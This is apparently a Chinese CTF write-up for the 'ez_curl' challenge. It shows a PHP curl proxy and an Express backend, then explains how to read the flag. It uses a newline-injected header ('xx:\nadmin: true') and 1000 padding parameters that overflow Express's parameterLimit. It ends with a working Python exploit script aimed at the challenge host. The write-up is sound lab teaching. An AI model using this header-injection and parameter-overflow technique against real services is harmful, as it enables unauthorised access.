攻防世界ez_curl

发布于:2025-06-26 ⋅ 阅读:(16) ⋅ 点赞:(0)

附件

const express = require('express');

const app = express();

const port = 3000;
const flag = process.env.flag;

app.get('/flag', (req, res) => {
    if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
        res.send(flag);
    }else{
        res.send('try hard');
    }
});

app.listen({ port: port , host: '0.0.0.0'});

前端源码

<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
    $offset = stripos($headers[$i], ':');
    $key = substr($headers[$i], 0, $offset);
    $value = substr($headers[$i], $offset + 1);
    if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
        die('try hard');
    }
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
try hard1

分析前端源码

$input = file_get_contents('php://input');
接收一个xml文件json数据
$headers = (array)json_decode($input)->headers;
提取json数据中的headers并转换为数组
for($i = 0; $i < count($headers); $i++){
    $offset = stripos($headers[$i], ':');
    $key = substr($headers[$i], 0, $offset);
    $value = substr($headers[$i], $offset + 1);
    if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
        die('try hard');
    }
}
遍历headers如果key包含admin或者value包含true就退出
$params = (array)json_decode($input)->params;
提取json数据中的params并转换为数组
$url .= http_build_query($params);
拼接params到url中
$url .= '&admin=false';
拼接到url中
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
设置URL,请求头部,最长毫秒为5000

分析前端源码

const express = require('express');
const app = express();
const port = 3000;
使用Express框架构建HTTP服务
const flag = process.env.flag;
从环境变量中读取flag值
app.get('/flag', (req, res) => {
定义一个flag路由
    if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
		url参数中admin不包含false,但是要包含true
        res.send(flag);
    }else{
        res.send('try hard');
    }
});

所以需要将请求参数admin置为true,将后面拼接的admin=flase丢弃掉,这里需要利用parameterLimit的最大值从而使得后面加入的admin=flase丢弃掉。

parameterLimit

由于express的parameterLimit默认为1000,即参数最大限制为1000,写脚本请求加上1000个参数就能成功把拼接的&admin=flase挤掉,

header换行绕过

import requests
import json

url = "http://223.112.5.141:57725/"

datas = {"headers": ["xx:\nadmin: true"],
         "params": {"admin": "true"}}
#headers里的admin字段包含'true'就行了,可以是'xtrue',这里根据RFC 7230(HTTP/1.1协议的定义)
#的规定,规定了 field-name 是由一个或多个打印的 ASCII 字符组成,不包括分隔符,包括空格。
#因此,如果一个 field-name 的第一个字符是空格,那么这个 HTTP header 是非法的,
#应该被服务器或客户端忽略或拒绝,然而,Node.js 在处理这类情况时通常是宽容的。
for i in range(1000):
    datas["params"]["x" + str(i)] = i
    # print(datas)

headers = {
    "Content-Type": "application/json"
}
json1 = json.dumps(datas)
print(json1)
resp = requests.post(url, headers=headers, data=json1)
print(resp.content)


网站公告

今日签到

点亮在社区的每一天
去签到